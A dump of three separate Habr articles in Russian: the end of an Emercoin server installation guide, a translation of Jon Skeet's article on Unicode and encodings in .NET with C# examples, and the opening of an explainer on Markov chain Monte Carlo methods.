* Работа с SElinux в режиме Enforcing не гарантируется
2. Установка пакетов Emercoin
-----------------------------
Для начала, мы должны подключить официальный репозиторий Emercoin для использования вашим сервером, скачать и установить требуемые пакеты, запустить клиент блокчейна и пометить его для исполнения во время загрузки ОС. Для этого, нужно выполнить:
В RHEL/CentOS:
```
rpm -ivh http://download.emercoin.com/rhel/el7/RPMS/emercoin-release-1.0-1.el7.centos.noarch.rpm
yum -y install emercoin emcssh emcweb
systemctl restart emercoind httpd
systemctl enable emercoind httpd
```
В Ubuntu:
```
apt-key adv --keyserver keyserver.ubuntu.com --recv B58C58F4
add-apt-repository 'deb [arch=amd64] http://download.emercoin.com/ubuntu xenial emercoin'
apt update && apt install emercoin emcssh emcweb
```
3. Скачивание и управление блокчейном
-------------------------------------
Сразу после первого запуска emercoind, начнется скачивание блокчейна. На это может потребоваться какое-то время.
Чтобы посмотреть текущее состояние блокчейна, нужно выполнить команду:
```
emc getinfo
```
Обращаю ваше внимание на то, что команду emc может исполнять любой пользователь системы, у которого есть права на исполнение команд через sudo. Также, хочу заметить то, что на старт службы emercoind может потребоваться до 30 секунд. Соответственно, если вы поспешите выполнить команду emc до полного старта emercoind, то у вас может возникнуть ошибка подключения к сервису.
Результатом исполнения emc getinfo будет вывод нечто подобного:
```
{
"version" : "v0.3.7.0-unk-beta",
"protocolversion" : 60005,
"walletversion" : 60000,
"balance" : 0.00000000,
"newmint" : 0.00000000,
"stake" : 0.00000000,
"blocks" : 6532,
"moneysupply" : 26500634.19000000,
"connections" : 7,
"proxy" : "",
"ip" : "162.243.248.174",
"difficulty" : 66.44524799,
"testnet" : false,
"keypoololdest" : 1466865671,
"keypoolsize" : 101,
"paytxfee" : 0.01000000,
"errors" : "WARNING: Checkpoint is too old. Wait for block chain to download, or notify developers of the issue."
}
```
Здесь нужно смотреть на строку «errors», которая может указывать на то, что, в данный момент, блокчейн слишком старый (то есть, не полностью скачанный), а, также, на строку «blocks», где указано сколько блоков уже скачано в вашем блокчейне. На момент написания этой статьи, в блокчейне Emercoin насчитывалось 173444 блока.
Чтобы управлять блокчейном и вашим кошельком через консоль, можно воспользоваться помощью по опциям команды emc:
```
emc help
```
4. Веб-кошелек
--------------
Для того, чтобы использовать веб-кошелек, у вас должен быть либо созданная учетная запись для него (логин+пароль), либо персональній SSL сертификат. Как использовать персональный SSL сертификат я расскажу в другой раз. Сейчас же, мы можем создать пользователя веб-кошелька командой:
```
emcweb-user "UserName" "UserPassword"
```
где, UserName и UserPassword — конечно же, придуманные вами логин и пароль.
У веб-кошелька может быть только одна учетная запись. Поэтому, если вы выполните команду emcweb-user повторно, то вы замените предыдущего пользователя новым.
**Следующим шагом мы можем в браузере перейти на IP-адрес вашего сервера.**
Браузер вас предупредит, что сайт небезопасен. Это нормально и совершенно безопасно, ведь, сертификат веб-сервера был автоматически сгенерирован на вашем сервере в момент устаноавки пакета emcweb. Поэтому, такое предупреждение браузера нужно проигнорировать и продолжить посещение этого ресурса (возможно, добавив этот сайт в исключения, как того требует Firefox, к примеру).
Выбираем «Login via Login/Password» и вводим лоин с паролем, указанные вами при выполнении команды emcweb-user:
Попадаем в веб-кошелек:
Интерфейс веб-кошелька довольно простой и интуитивно понятный. К примеру, раздел с информацией, где можно увидеть похожие данные, получаемые исполнением команды emc getinfo:
Известная ошибка: если блокчейн еще не полностью скачан и вы попытаетесь войти в раздел «Manage Names», то будет ошибка.
Удачного пользования! | https://habr.com/ru/post/304100/ | null | ru | null |
# Юникод и .NET
*От переводчика. На Хабре уже неоднократно публиковались статьи как по Юникоду, так и по строкам в .NET. Однако статьи о Юникоде применительно к .NET ещё не было, поэтому я решил перевести статью общепризнанного гуру .NET Джона Скита. Она закрывает обещанный мною цикл из трёх статей-переводов Дж. Скита, посвящённых строкам в .NET. Как всегда, буду рад замечаниям и исправлениям.*
### Введение
Тема данной статьи довольно обширна, и не ждите от неё детального и глубокого разбора всех нюансов. Если вы полагаете, что достаточно хорошо разбираетесь в Юникоде, кодировках и т.д., эта статья может быть для вас почти или даже полностью бесполезной. Тем не менее, довольно много людей не понимают, чем различаются двоичные и текстовые данные (*binary* и *text*), или что такое кодировка символов. Именно для таких людей и написана данная статья. Несмотря на, в общем-то, поверхностное описание, в ней затрагиваются некоторые сложные моменты, однако это сделано скорее для того, чтобы читатель имел представление об их существовании, нежели чтобы дать детальные разъяснения и руководства к действию.
### Ресурсы
Нижеприведенные ссылки как минимум полезны настолько же, насколько и данная статья, а может — и более полезны. Я сам использовал их при написании данной статьи. В них много полезных и качественных материалов, и если в этой статье вы заметите какие-нибудь неточности, то данные ресурсы должны быть более точными.
* [Официальный сайт Консорциума Юникода](http://www.unicode.org/). Наиболее полный и точный источник информации по Юникоду, содержащий ответы на все ваши вопросы (правда, полезную информацию на сайте нужно хорошенько поискать). Некоторые нижеприведённые ссылки ведут на данный сайт.
* [Глоссарий Юникода](http://www.unicode.org/glossary). Словарь с краткими толкованиями многих терминов, используемых при обсуждении кодировки символов и т.д.
* [ЧаВо Юникода](http://www.unicode.org/faq). Ответы на сотни общих вопросов, распределённые по группам.
* [ЧаВо Юникода по Unix/Linux UTF-8](http://www.cl.cam.ac.uk/~mgk25/unicode.html). Не пренебрегайте данной ссылкой, судя по её названию — даже если вы не дружите с Unix/Linux, большинство информации очень релевантно и к .NET.
* [Модель кодировки символов Юникода](http://www.unicode.org/unicode/reports/tr17/). Предоставляет больше информации о точном толковании терминов вроде «схема кодировки символа» и т.д.
* [Джоэл Спольски. Обязательный минимум, который должен знать каждый разработчик ПО о Юникод и о наборах символов (Оправдания не допускаются)](http://www.joelonsoftware.com/articles/Unicode.html). Статья, чем-то похожая на данную, но без акцента на .NET. ([перевод на русский](http://local.joelonsoftware.com/wiki/Абсолютный_Минимум,_который_Каждый_Разработчик_Программного_Обеспечения_Обязательно_Должен_Знать_о_Unicode_и_Наборах_Символов), перевод на Хабре [часть 1](http://habrahabr.ru/post/158639/), [часть 2](http://habrahabr.ru/post/158895/))
* [О доброте Юникода](http://www.tbray.org/ongoing/When/200x/2003/04/06/Unicode). Ещё одна вводная статья, которую стоит почитать.
### Двоичные и текстовые данные – это две разные вещи
Большинство современных языков программирования (как и некоторые старые) проводят ясную черту между двоичным (бинарным) контентом и символьным (или текстовым) контентом. Хотя эта разница понимается на инстинктивном уровне, я всё-таки внесу определение.
Бинарные (двоичные) данные являются последовательностью [октетов](http://ru.wikipedia.org/wiki/Октет_(информатика)) (октет состоит из 8 битов) без всякого придаваемого им естественного значения, или интерпретации. И даже если существует внешнее «толкование» того или иного набора октетов как, скажем, исполняемый файл или графическое изображение, данные сами по себе являются просто набором октетов. Далее вместо термина «октет» я буду использовать «байт», хотя, если говорить точно, не всякий байт является октетом. К примеру, существовали компьютерные архитектуры с 9-битовыми байтами. Впрочем, в данном контексте такие детали не очень-то и нужны, так что далее под термином «байт» я буду подразумевать именно 8-битовый байт.
Символьные (текстовые) данные являются последовательностью символов.
[Глоссарий Юникода](http://www.unicode.org/glossary/) определяет символ как:
1. Наименьший компонент письменного языка, содержащий семантическое значение; указывает на абстрактный смысл и/или форму, в отличие от специальных форм (таких как [глифы](http://ru.wikipedia.org/wiki/Глиф)); в кодовых таблицах некоторые формы визуального представления символов имеют большое значение для их понимания читателем.
2. Синоним абстрактного символа (см. Definition D3 в Section 3.3, Characters and Coded Representations).
3. Базовая единица кодирования в системе кодировки Юникода.
4. Английское наименование для идеографических письменных элементов китайского происхождения.
Это определение может быть, а может и не быть для вас полезным, но в большинстве случаев можно использовать интуитивное понимание символа, как что-то вроде некоего элемента, обозначающего большую литеру «А» или цифру «1» и т.д. Однако есть и другие символы, которые далеко не настолько интуитивно очевидны. К таковым относятся модифицирующие символы, которые предназначенные для изменения других символов (например, острое ударение, он же [акут](http://ru.wikipedia.org/wiki/Акут)), [управляющие символы](http://ru.wikipedia.org/wiki/Управляющие_символы) (например, символ новой строки), форматирующие символы (невидимы, но влияют на другие символы). Текстовые данные — это и есть наборы символов, и это главное.
К большому сожалению, в недалёком прошлом различие между двоичными и текстовыми данными было очень размытым, нечётким. К примеру, для программистов на языке Си термины «байт» и «символ» в большинстве случаев значили одно и то же. В современных же платформах типа .NET и Java, где различие между символами и байтами чёткое и закреплено в библиотеках ввода-вывода, старые привычки могут иметь негативные последствия (к примеру, люди могут пытаться скопировать содержимое двоичного файла, считывая из него символьные строки, что приведёт к искажению содержимого этого файла).
### Так для чего же Юникод?
Консорциум Юникода пытается стандартизировать обработку символьных данных, включая преобразования из двоичной формы в текстовую и наоборот (что называется *декодированием* и *кодированием* соответственно). Кроме того, существует набор стандартов ISO (10646 в различных версиях), которые делают то же самое; Юникод и ISO 10646 могут рассматриваться как одно и то же, так как они почти полностью совместимы. (В теории, ISO 10646 определяет более широкий потенциальный набор символов, но это вряд ли когда-нибудь станет проблемой.) Большинство современных языков и платформ программирования, включая .NET и Java, используют Юникод для представления символов.
Юникод определяет, среди прочего:
* репертуар абстрактных символов (*abstract character repertoire*) — набор всех символов, которые поддерживаются Юникодом;
* набор кодов символов (*coded character set*) — содержит привязку каждого символа из репертуара к целому неотрицательному числу, называемому кодовой точкой (*code point*);
* некоторые формы кодировки символов (*character encoding forms*) — определяют соответствия между кодовыми точками и последовательностями «кодовых единиц» (попросту говоря — соответствия между кодовой точкой, выраженной одним целым числом любой длины, и группой байт, кодирующей это число);
* некоторые схемы кодировки символов (*character encoding schemes*) — определяют соответствия между наборами кодовых единиц и сериализованными последовательностями байтов.
Различие между формой кодировки символов и схемой кодировки символов довольно тонкое, тем не менее, оно учитывает [порядок байтов](http://ru.wikipedia.org/wiki/Порядок_байтов) (*endianness*). (К примеру, в кодировке UCS-2 последовательность кодовых единиц 0xC2 0xA9 может быть сериализована как 0xC2 0xA9 или как 0xA9 0xC2 — это решает именно схема кодировки символов.)
Репертуар абстрактных символов Юникода может содержать, в теории, вплоть до 1114112 символов, хотя многие уже зарезервированы как непригодные, а оставшиеся, скорее всего, никогда не будут назначены. Каждый символ кодируется целым неотрицательным числом от 0 до 1114111 (0x10FFFF). К примеру, заглавная А закодирована десятичным числом 65. Ещё несколько лет назад считалось, что все символы «влезут» в диапазон между 0 и 216-1, а это значило, что любой символ можно представить при помощи двух байтов. К сожалению, со временем потребовалось больше символов, что привело к появлению т.н. «суррогатных пар» (*surrogate pair*). С ними всё стало значительно сложнее (по крайней мере, для меня), а потому большая часть данной статьи их касаться не будет — я кратко их опишу в разделе [«Сложные моменты»](#nasty).
### Так что же предоставляет .NET?
Не волнуйтесь, если всё вышесказанное выглядит странно. О различиях, описанных выше, следует знать, но на самом деле они не часто выходят на первый план. Большинство ваших задач, скорее всего, будет «крутиться» вокруг конвертации некоего набора байтов в некий текст и наоборот. В таких ситуациях вы будете работать со структурой [System.Char](http://msdn.microsoft.com/en-us/library/system.char.aspx) (в C# известна под псевдонимом `char`), классом [System.String](http://msdn.microsoft.com/en-us/library/system.string.aspx) (`string` в C#), а также с классом [System.Text.Encoding](http://msdn.microsoft.com/en-us/library/system.text.encoding.aspx).
Структура `Char` является самым базовым типом символа в C#, один экземпляр `Char` представляет один символ Юникода и занимает 2 байта памяти, а значит, может принимать любое значение из диапазона 0-65535. Имейте в виду, что не все числа из этого диапазона являются валидными символами Юникода.
Класс `String` в своей основе является последовательностью символов. Он неизменяем (immutable), что значит, что после создания экземпляра строки вы уже не можете его (экземпляр) изменить, — различные методы класса `String`, хотя и выглядят так, будто изменяют его содержимое, на самом деле создают и возвращают новую строку.
Класс `System.Text.Encoding` предоставляет средства конвертации массива байт в массив символов или в строку, а также наоборот. Этот класс является абстрактным; его различные реализации как представлены в .NET’е, так и могут быть написаны самими пользователями. (Задача по созданию имплементации `System.Text.Encoding` возникает довольно редко — в большинстве случаев вам хватит тех классов, которые идут в составе .NET’а.) `Encoding` позволяет отдельно указать кодеры и декодеры, которые обрабатывают состояние между вызовами. Это необходимо для многобайтовых схем кодировок символов, когда невозможно корректно декодировать в символы все байты, полученные из потока. Например, если декодер UTF-8 получает на вход два байта 0x41 0xC2, он может возвратить только первый символ (заглавную литеру «А»), однако для определения второй литеры ему нужен третий байт.
### Встроенные схемы кодировок
Библиотека классов .NET содержит различные схемы кодировок. Ниже приведено описание этих схем и способы их использования.
##### ASCII
ASCII является одной из наиболее распространённых и одновременно одной из наиболее недопонимаемых кодировок символов. Вопреки популярному заблуждению, ASCII является 7-битной кодировкой, а не 8-битной: символов с кодами (кодовыми точками) больше числа 127 не существует. Если кто-либо заявляет, что он использует, к примеру, код «ASCII 154», то можно считать, что этот кто-то вообще не понимает, что он делает и говорит. Правда, в качестве отговорки он может заявить что-то о «расширенной ASCII» (*extended ASCII*). Так вот — нет никакой схемы под названием «расширенная ASCII». Есть множество 8-битных схем кодировок, которые являются надмножеством для ASCII, и для их обозначения иногда используют термин «расширенной ASCII», что не совсем корректно. Кодовая точка каждого ASCII-символа совпадает с кодовой точкой аналогичного символа в Юникоде: иными словами, ASCII-символ латинской литеры «x» в нижнем регистре и Юникодный символ этой же самой литеры обозначаются одинаковым числом — 120 (0х78 в шестнадцатеричном представлении). .NET-класс [ASCIIEncoding](http://msdn.microsoft.com/en-us/library/system.text.asciiencoding.aspx) (экземпляр которого легко может быть получен через свойство [Encoding.ASCII](http://msdn.microsoft.com/en-us/library/system.text.encoding.ascii.aspx)), на мой взгляд, является немного странным, так как, кажется, он выполняет кодирование путём простого отбрасывания всех битов после базовых 7-ми. Это значит, что, к примеру, юникодный символ 0xB5 (знак «микро» — *µ*) после кодирования в ASCII и декодирования назад, в Юникод, превратится в символ 0x35 (цифра «5»). (Вместо этого я бы предпочёл, чтобы выводился какой-то специальный символ, показывающий, что исходный символ отсутствовал в ASCII и был утрачен.)
##### UTF-8
UTF-8 является хорошим и распространённым способом представления символов Юникода. Каждый символ кодируется последовательностью байтов в количество от одного до четырёх включительно. (Все символы с кодовыми точками меньше 65536 кодируются одним, двумя или тремя байтами; я не проверял, как .NET кодирует суррогатные пары: двумя последовательностями из 1-3 байтов или одной последовательностью из 4-х байтов.) UTF-8 может отображать все существующие в Юникоде символы и совместим с ASCII таким образом, что любая последовательность ASCII-символов будет перекодирована в UTF-8 без изменений (т.е. последовательность байтов, представляющая символы в ASCII, и последовательность байтов, представляющая те же символы в UTF-8, одинаковы). Более того, первого байта, кодирующего символ, хватит, чтобы определить, сколько ещё байт кодируют этот же символ, если такие вообще есть. UTF-8 сама по себе не требует [метку порядка байтов](http://ru.wikipedia.org/wiki/Byte_order_mark) (Byte order mark — BOM), хотя она может использоваться как способ индикации того, что текст представлен в формате UTF-8. Текст UTF-8, содержащий BOM, всегда начинается с последовательности трёх байтов 0xEF 0xBB 0xBF. Чтобы закодировать строку в UTF-8 в .NET, просто используйте свойство [Encoding.UTF8](http://msdn.microsoft.com/en-us/library/system.text.encoding.utf8.aspx). Вообще-то, в большинстве случаев вам не придётся делать даже это — много классов (включая [StreamWriter](http://msdn.microsoft.com/en-us/library/system.io.streamwriter.aspx)) используют UTF-8 по умолчанию, когда явно не задана никакая другая кодировка. (Не заблуждайтесь, [Encoding.Default](http://msdn.microsoft.com/en-us/library/system.text.encoding.default.aspx) сюда не относится, это совсем другое.) Тем не менее, я советую всегда явно указывать кодировку в вашем коде, хотя бы ради удобочитаемости и понимания.
##### UTF-16 и UCS-2
UTF-16 — это как раз та кодировка, в которой .NET работает с символами. Каждый символ представлен последовательностью из двух байт; соответственно суррогатная пара занимает 4 байта. Возможность использования суррогатных пар — это единственное различие между UTF-16 и UCS-2: UCS-2 (также известен просто как «Юникод») не допускает суррогатные пары и может представлять символы в диапазоне 0-65535 (0-0xFFFF). UTF-16 может иметь разный порядок байтов (Endianness): он может быть от старшего к младшему (*big-endian*), от младшего к старшему (*little-endian*), или же быть машинно-зависимым с опциональным BOM (0xFF 0xFE для little-endian, 0xFE 0xFF для big-endian). В самом .NET, насколько я знаю, на проблему суррогатных пар «забили», и каждый символ в суррогатной паре рассматривается как самостоятельный символ, что приводит своеобразной «уравниловке» между UCS-2 и UTF-16. (Точное различие между UCS-2 и UTF-16 заключается в намного более глубоком понимании суррогатных пар, и я не компетентен в этом аспекте.) UTF-16 в представлении big-endian может быть получена при помощи свойства [Encoding.BigEndianUnicode](http://msdn.microsoft.com/en-us/library/system.text.encoding.bigendianunicode.aspx), а little-endian — при помощи [Encoding.Unicode](http://msdn.microsoft.com/en-us/library/system.text.encoding.unicode.aspx). Оба свойства возвращают экземпляр класса [System.Text.UnicodeEncoding](http://msdn.microsoft.com/en-us/library/system.text.unicodeencoding.aspx), который также может быть создан при помощи различных перегрузок конструктора: здесь вы можете указать, использовать или не использовать BOM и какой порядок байт установить. Я полагаю (хотя и не тестировал этого), что при декодировании двоичного контента, BOM, присутствующий в контенте, переопределяет настройки порядка байтов, выставленные в энкодере, так что программист не должен совершать никаких лишних телодвижений, если он декодирует какой-либо контент, даже если порядок байтов и/или наличие BOM в этом контенте ему неизвестны.
##### UTF-7
UTF-7, судя по моему опыту, редко когда используется, но он позволяет перекодировать Юникод (вероятно, только первые 65535 символов) в ASCII-символы (не байты!). Это может пригодиться при работе с электронной почтой в ситуациях, когда почтовые шлюзы поддерживают только символы ASCII, или даже только подмножество ASCII (к примеру, кодировку [EBCDIC](http://ru.wikipedia.org/wiki/EBCDIC)). Моё описание выглядит невнятно, потому что я никогда не залазил в детали UTF-7 и не собираюсь этого делать впредь. Если вам необходимо использовать UTF-7, то вы, вероятно, и так знаете достаточно, а если у вас нет абсолютной необходимости использовать UTF-7, то советую не делать этого. Экземпляр класса для кодирования в UTF-7 может быть получен при помощи свойства [Encoding.UTF7](http://msdn.microsoft.com/en-us/library/system.text.encoding.utf7.aspx).
##### Кодовые страницы Windows/ANSI
Windows Code Pages (кодовые страницы Windows) являются, как правило, одно- или двухбайтными наборами символов, кодирующими до 256 или 65 536 символов соответственно. Каждая кодовая страница имеет свой номер, и кодировщик для кодовой страницы с известным номером можно получить при помощи статического метода [Encoding.GetEncoding(Int32)](http://msdn.microsoft.com/en-us/library/wzsz3bk3.aspx). В большинстве случаев кодовые страницы полезны для работы со старыми данными, которые часто хранятся в «кодовой странице по умолчанию» (*default code page*). Энкодер для кодовой страницы по умолчанию может быть получен при помощи свойства [Encoding.Default](http://msdn.microsoft.com/en-us/library/system.text.encoding.default.aspx). Снова таки, избегайте использования кодовых страниц, когда это возможно. За дополнительной информацией обращайтесь к MSDN.
##### ISO-8859-1 (Latin-1)
Как и в ASCII, каждый символ в кодовой странице Latin-1 имеет код, одинаковый с кодом этого же символа в Юникоде. Я не удосужился выяснить, имеет ли Latin-1 «дыру» из неучтённых символов с кодами от 128 до 159, или же Latin-1 содержит здесь те же управляющие символы, что и Юникод. (Я было начал склоняться к идее с «дырой», но Википедия со мной не согласна, поэтому я всё ещё в раздумьях. (*Раздумья автора непонятны, так как в [статье Википедии чётко показано наличие пробела](http://en.wikipedia.org/wiki/ISO-8859-1#Codepage_layout); вероятно, на момент написания Скитом оригинальной статьи содержимое статьи в Википедии было другим. — прим. перев.*)) Latin-1 имеет номер кодовой страницы 28591, поэтому чтобы получить энкодер, используйте метод `Encoding.GetEncoding(28591)`.
### Потоки, ридеры и райтеры
Потоки бинарны по своей природе, они читают и записывают байты. Всё, что принимает строку, должно её определённым образом преобразовать в байты, и это преобразование может быть как успешным для вас, так и нет. Эквивалентами потоков для чтения и записи текста служат абстрактные классы [System.IO.TextReader](http://msdn.microsoft.com/en-us/library/system.io.textreader.aspx) и [System.IO.TextWriter](http://msdn.microsoft.com/en-us/library/system.io.textwriter.aspx) соответственно. Если у вас уже есть готовый поток, вы можете использовать классы [System.IO.StreamReader](http://msdn.microsoft.com/en-us/library/system.io.streamreader.aspx) (который непосредственно наследует `TextReader`) для чтения и [System.IO.StreamWriter](http://msdn.microsoft.com/en-us/library/system.io.streamwriter.aspx) (который непосредственно наследует `TextWriter`) для записи, передавая поток в конструктор этих классов и кодируя так, как вам нужно. Если вы явно не укажете кодировку, по умолчанию будет применена UTF-8. Ниже представлен пример кода, конвертирующего файл с UTF-8 в UCS-2:
```
using System;
using System.IO;
using System.Text;
public class FileConverter
{
const int BufferSize = 8096;
public static void Main(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine
("Usage: FileConverter ");
return;
}
String inputFile = args[0];
String outputFile = args[1];
// Открыть TextReader для чтения существующего входного файла
using (TextReader input = new StreamReader
(new FileStream (inputFile, FileMode.Open),
Encoding.UTF8))
{
// Открыть TextWriter для создания и записи в новый выходной файл
using (TextWriter output = new StreamWriter
(new FileStream (outputFile, FileMode.Create),
Encoding.Unicode))
{
// Создать буфер
char[] buffer = new char[BufferSize];
int len;
// Копировать данные порциями до достижения конца
while ( (len = input.Read (buffer, 0, BufferSize)) > 0)
{
output.Write (buffer, 0, len);
}
}
}
}
}
```
Отметьте, что в данном коде использованы конструкторы `TextReader` и `TextWriter`, которые принимают потоки. Существуют и другие перегрузки конструкторов, принимающие на вход пути к файлам, так что вам не нужно вручную открывать `FileStream`; я это сделал лишь в качестве примера. Есть и другие перегрузки конструкторов, принимающие также размер буфера и необходимость определения BOM, — в общем, гляньте документацию. И наконец, если вы используете .NET 2.0 и выше, не помешает взглянуть на статический класс [System.IO.File](http://msdn.microsoft.com/en-us/library/system.io.file.aspx), также содержащий множество удобных методов, позволяющих работать с кодировками.
### Сложные моменты
Ладно, это были лишь основы Юникода. Есть множество других нюансов, на некоторые из которых я уже намекнул, и я считаю, что людям следует о них знать, даже если они полагают, что подобное никогда с ними не произойдёт. Я не предлагаю каких-либо общих методологий или руководящих принципов — я просто пытаюсь поднять вашу осведомленность в возможных проблемах. Ниже приведён список, и он ни скольким образом не исчерпывающий. Важно, чтобы вы поняли, что большинство описанных проблем и трудностей ни в коей мере не являются виной или ошибками Консорциума Юникода; так же, как и в случае даты, времени и любой из проблем интернационализации, это — «заслуга» человечества, которое с течением времени само создало многие принципиально сложные проблемы.
##### Культуро-зависимый поиск, сортировка и проч.
Эти проблемы описаны в моей статье, посвящённой строкам в .NET ([оригинал](http://csharpindepth.com/Articles/General/Strings.aspx#culture), [перевод](http://habrahabr.ru/post/165597/)).
##### Суррогатные пары
Теперь, когда Юникод содержит больше, чем 65536 символов, он не может вместить их все в 2 байта. Это значит, что один экземпляр структуры `Char` не может принимать все возможные символы. UTF-16 (и .NET) решает эту проблему путём использования суррогатных пар (*surrogate pair*) — это два 16-битных значения, где каждое значение лежит в диапазоне от 0xD800 и до 0xDFFF. Другими словами, два «типа символа» образуют один «настоящий» символ. (UCS-4 и UTF-32 полностью решают эту проблему тем, что у них доступен более широкий диапазон значений: каждый символ занимает 4 байта, и этого хватает всем и каждому.) Суррогатные пары — это головная боль, ведь это значит, что строка, которая состоит из 10 символов, на самом деле может содержать от 10 до 5 включительно «настоящих» символов Юникода. К счастью, большинство приложений не используют научные или математические нотации и символы Хан, а поэтому вам не нужно об этом особо волноваться.
##### Модифицирующие символы
Не все символы из Юникода в результате вывода на экран или бумагу предстают в виде значка/картинки. Подчёркнутый (акцентированный) символ может быть представлен в качестве двух других символов: обычного, неподчёркнутого символа и следующего за ним символа подчёркивания, который называется *модифицирующим (или комбинируемым) символом* ([Combining character](http://en.wikipedia.org/wiki/Combining_character)). Некоторые графические интерфейсы поддерживают модифицирующие символы, некоторые нет, и работа вашего приложения будет зависеть от того, какое предположение вы сделаете.
##### Нормализация
Частично из-за таких вещей, как модифицирующие символы, может быть несколько способов представления того, что в некотором смысле является одним символом. Литера «á» с ударением, к примеру, может быть представлена одним символом «а» без ударения и следующим за ним модифицирующим символом ударения, а может быть представлена только одним символом, представляющим готовую литеру «а» с ударением. Последовательности символов могут быть нормализованы таким образом, чтобы использовать модифицирующие символы везде, где это возможно, или же наоборот — не использовать их везде, где их можно заменить одиночным символом. Должно ли ваше приложение рассматривать две строки, содержащие литеру «á» с ударением, но в одной представленную двумя символами, а во второй одним, как равные, или как разные? А что насчёт сортировки? Производят ли сторонние компоненты и библиотеки, используемые вами, нормализацию строк, и вообще, учитывают ли подобные нюансы? На эти вопросы отвечать вам.
### Отладка проблем с Юникодом
Этот раздел (*в оригинале это [отдельная статья](http://csharpindepth.com/Articles/General/DebuggingUnicode.aspx) – прим. пер.*) описывает, что делать в очень специфических ситуациях. А именно, у вас есть некоторые символьные данные (попросту — текст) в одном месте (как правило, в базе данных), которые проходят через разные шаги/слои/компоненты и затем выводятся пользователю (как правило, на веб-странице). И, к сожалению для вас, некоторые символы отображены неверно ([крякозябры](http://ru.wikipedia.org/wiki/Кракозябры)). Исходя из множества шагов-этапов, по которым проходят ваши текстовые данные, проблема может возникать во многих местах. Это страница поможет вам просто и надёжно узнать, что и где «сломалось».
##### Шаг 1: поймите основы Юникода
А попросту говоря — прочтите основной текст статьи. Можете также обратить внимание на ссылки, которые приведены в начале статьи. Факт в том, что без базовых знаний вам будет туговато.
##### Шаг 2: попытайтесь определить, какие конвертации могли произойти
Если вы можете понять, где, возможно, всё ломается, то этот участок/этап намного проще будет изолировать. Вместе с тем имейте в виду, что проблема может быть не в процессе извлечения и преобразования текста из хранилища, а в том, что уже «испорченный» текст был занесён в хранилище ранее. (С подобными проблемами я стыкался в прошлом, когда, к примеру, одно старое приложение искажало текст при записи и считывании его в/из БД. «Прикол» был в том, что ошибки конвертации накладывались друг на друга и взаимокомпенсировались, так что на выходе получался корректный текст. Вообще приложение работало нормально, но стоило его тронуть — и всё рассыпалось.) К действиям, которые могут «портить» текст, следует относить выборку из БД, чтение из файла, передачу через веб-соединение и выведение текста на экран.
##### Шаг 3: проверяйте данные на каждом этапе
Первое правило: не доверяйте ничему, что логирует символьные данные в виде последовательности глифов (т.е. стандартных значков символов). Вместо этого вы должны логировать данные как набор кодов символов в виде байтов. Например, если я имею строку, содержащую слово «hello», то я её отображу как «0068 0065 006C 006C 006F». (Использование шестнадцатеричных кодов позволит вам легко проверить символ по кодовым таблицам.) Чтобы это сделать, надо пройтись по всем символам в строке и для каждого символа вывести его код, что и делается в нижеприведённом методе, который отображает результат в консоль:
```
static void DumpString (string value)
{
foreach (char c in value)
{
Console.Write("{0:x4} ", (int)c);
}
Console.WriteLine();
}
```
Ваш собственный метод логирования будет иным в зависимости от вашего окружения, но основа его должна быть именно такой, как я привёл. Более продвинутый способ отладки и логирования символьных данных я привёл в своей статье, посвящённой строкам.
Суть моей идеи в том, чтобы избавиться от всевозможных проблем с кодировками, шрифтами и т.д. Эта методика может быть полезна при работе со специфичными символами Юникода. Если же вы не можете корректно логировать шестнадцатеричные коды даже простого ASCII-текста — у вас большие проблемы.
Следующий этап — убедитесь, что у вас есть тест-кейс, который можно использовать. Найдите желательно небольшой набор исходных данных, на котором ваше приложение гарантированно «сбоит», удостоверьтесь, что вы точно знаете, каким должен быть правильный результат, и залогируйте получившийся результат во всех проблемных местах.
После того, как проблемная строка залогирована, надо удостовериться, является ли она такой, какой должна быть, или нет. В этом вам поможет веб-страница [Unicode code charts](http://www.unicode.org/charts/). Вы можете выбрать как набор символов, в котором уверены, так и искать символы в алфавитном порядке. Убедитесь, что каждый символ в строке имеет правильное значение. Как только вы найдёте то место в вашем приложении, где поток символьных данных поврежден, исследуйте это место, выясните причину ошибки и исправьте её. Исправив все ошибки, убедитесь, что приложение работает корректно.
##### Заключение
Как и в случае с подавляющим большинством ошибок, возникающих в разработке ПО, проблемы с текстом решаются при помощи универсальной стратегии «разделяй и властвуй». Как только вы будете уверены в каждом шаге, вы сможете быть уверенными в целом. Если во время исправления подобных ошибок вы столкнётесь с особенно непонятными и странными их проявлениями, я настоятельно советую после их исправления покрыть данный участок кода юнит-тестами; они будут служить и документацией, показывающей, что может случиться, и защитой от будущих регрессий.
**Источники**
* Jon Skeet. [Unicode and .NET](http://csharpindepth.com/Articles/General/Unicode.aspx)
* Jon Skeet. [Debugging Unicode Problems](http://csharpindepth.com/Articles/General/DebuggingUnicode.aspx) | https://habr.com/ru/post/193048/ | null | ru | null |
# Интуитивное использование методов Монте-Карло с цепями Маркова
#### Легко ли это? Я попробовал
*Алексей Кузьмин, директор разработки и работы с данными «ДомКлик», преподаватель направления [Data Science](https://netology.ru/data-science/programs?utm_source=blog&utm_medium=747&utm_campaign=bds_ou_cat_habr_18072019msms) в Нетологии, перевел [статью](https://towardsdatascience.com/mcmc-intuition-for-everyone-5ae79fff22b1) Rahul Agarwal о том, как работают методы Монте-Карло с цепями Маркова для решения проблем с большим пространством состояний.*
Каждый, кто связан с Data Science, хоть раз слышал о методах Монте-Карло с цепями Маркова (MCMC). Иногда тема затрагивается во время изучения байесовской статистики, иногда — при работе с такими инструментами, как Prophet.
Но MCMC трудно понять. Всякий раз, читая об этих методах, я замечал, что суть MCMC скрыта в глубоких слоях математического шума, и за этим шумом ее тяжело разобрать. Мне пришлось потратить много часов, чтобы разобраться в этой концепции.
В этой статье — попытка объяснить методы Монте-Карло с цепями Маркова доступно, так, чтобы стало понятно, для чего они используются. Я остановлюсь еще на нескольких способах использования этих методов в моем следующем посте.
Итак, начнем. MCMC состоит из двух терминов: Монте-Карло и Марковские цепи. Поговорим о каждом из них.
Монте-Карло
-----------
В самых простых выражениях [методы Монте-Карло](https://en.wikipedia.org/wiki/Monte_Carlo_method) можно определить как простую симуляцию.
Методы Монте-Карло получили свое название от казино Монте-Карло в Монако. Во многих карточных играх нужно знать вероятность выиграть у дилера. Иногда вычисление этой вероятности может быть математически сложным или трудноразрешимым. Но мы всегда можем запустить компьютерную симуляцию, чтобы много раз воспроизвести всю игру и рассматривать вероятность как количество побед, разделенное на количество сыгранных игр.
Это все, что вам нужно знать о методах Монте-Карло. Да, это просто простая техника моделирования с причудливым названием.
Марковские цепи
---------------
